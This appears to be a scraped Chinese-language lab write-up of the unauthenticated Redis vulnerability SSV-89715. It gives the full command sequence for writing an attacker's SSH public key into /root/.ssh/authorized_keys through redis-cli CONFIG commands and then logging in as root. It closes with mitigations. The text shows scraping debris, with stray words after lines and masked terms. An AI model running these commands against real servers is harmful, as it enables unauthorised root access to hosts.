Redis 未受權訪問缺陷可輕易致使系統被黑【SSV-89715】

參考連接:https://www.sebug.net/vuldb/ssvid-89715redis

***者在未受權訪問Redis的狀況下能夠利用Redis的相關方法,能夠成功將本身的公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而能夠直接登陸目標服務器。
數據庫

環境:服務器

KaLi:192.168.2.162ssh

CentOS:192.168.2.32   ide

CentOS部署了redis數據庫函數

步驟:lua

1.在Kali上生成密鑰對:
spa

    命令:ssh-keygen -t rsa.net

wKiom1hH1zyR1TVBAABsu7V44gY919.png


2.將公鑰寫入 hack.txt 文件
code

    命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt

wKiom1hH1z3RyiuwAACFeO4CPFk294.png


3.連接redis數據庫,寫入文件:

命令:

$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit 

$ redis-cli -h 192.168.2.32 

$ 192.168.2.32:6379> config set dir /root/.ssh/

OK 

$ 192.168.2.32:6379> config get dir

1) "dir"

2) "/root/.ssh" 

$ 192.168.2.32:6379> config set dbfilename "authorized_keys" 

OK 

$ 192.168.2.32:6379> save

OK

wKioL1hH1z3A7JnKAABaE-uQnxc844.png

4.如今查看下 192.168.2.32 設備的/root/.ssh/authorized.keys文件,已經寫進去了:

wKiom1hH1zzAOZvQAABph2srF7s969.png

5.使用Kali上生成的私鑰連接CentOS設備

    命令:ssh -i id_rsa root@192.168.2.32

wKioL1hH1zygaVBUAACVuRGmeRs798.png

6.登陸成功。

7.敏感信息泄露:

    經過redis的info命令。可查看服務器的相關參數和敏感信息,如圖:

wKioL1hH1zuC3qOHAARW2Z0GxK0499.png

8.代碼執行

    redis能夠嵌套lua腳本的特性將會致使代碼執行,危害通其餘服務器端的代碼執行,如圖:

wKioL1hH1zmzlhjrAAEzLH8wERk945.png

    一旦***者能夠在服務端執行任意代碼,***方式講話會變得多且複雜。

    經過lua代碼***這能夠調用redis.sha1hex()函數,惡意利用redis服務進行 SHA-1 的破解。

    

解決方案:

  1. 配置bind選項, 限定能夠鏈接Redis服務器的IP, 並修改redis的默認端口6379.

  2. 配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.

  3. 配置rename-command CONFIG "RENAME_CONFIG", 這樣即便存在未受權訪問, 也可以給***者使用config指令加大難度

  4. 好消息是Redis做者表示將會開發」real user」,區分普通用戶和admin權限,普通用戶將會被禁止運行某些命令,如config

相關文章
相關標籤/搜索